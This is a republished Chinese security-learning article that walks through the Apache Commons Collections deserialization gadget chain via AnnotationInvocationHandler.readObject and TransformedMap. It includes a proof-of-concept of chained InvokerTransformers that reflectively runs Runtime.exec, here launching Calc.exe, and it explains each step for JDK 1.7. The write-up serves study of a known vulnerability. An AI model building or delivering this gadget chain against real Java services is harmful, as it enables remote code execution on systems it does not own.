栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

Java代码审计——Commons Collections AnnotationInvocationHandler readObject调用链

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

Java代码审计——Commons Collections AnnotationInvocationHandler readObject调用链

0x00 前言

AnnotationInvocationHandler作为Commons Collections最后一个触发阶段调用链来进行学习

0x01 AnnotationInvocationHandler

首先来说AnnotationInvocationHandler,这个类是继承InvocationHandler,我们主要是要通过AnnotationInvocationHandler来进行触发TransformedMap等调用迭代链的地方。
先来看一下AnnotationInvocationHandler的readObject方法。


目前已知调用迭代链的方式有三种
TransformedMap

  • put
  • checkSetValue
    • 在setValue中会触发checkSetValue

LazyMap

  • get
    在readObject方法中可以看到满足了setValue方法:
1. 先上POC
Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[] {String.class,Class[].class }, new Object[] { "getRuntime",new Class[0] }),
        new InvokerTransformer("invoke", new Class[] {Object.class,Object[].class }, new Object[] { null, new Object[0] }),
        new InvokerTransformer("exec", new Class[] {String.class},new String[] {"Calc.exe"}),
};
Transformer transformerChain = new
        ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "zeo");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
2、POC原理

首先我们要构造这个类,那么必然要先反射调用这个类,然后再对这个类的构造方法进行传参。
那么第一步就是反射类:

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

然后就是获得类的构造方法:
获得私有构造方法需要使用getDeclaredConstructor+setAccessible()为true才可以进行获取所以

Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true);

接着对构造方法进行传参

InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

那么到这里就已经是完成了类的创建。

3. 调用链-TransformedMap

来看一下调用链。
首先是调用readObject中setValue

接着调用checkSetValue

接着就是TransformedMap中的checkSetValue

总结一下就是:

  • AnnotationInvocationHandler - readObject
    • setValue
    • AbstractInputCheckedMapDecorator -setValue
      • checkSetValue
    • TransformedMap - checkSetValue
      • TransformedMap 调用链
      • 迭代链
0x03 使用条件
  • JDK1.7
转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/462791.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号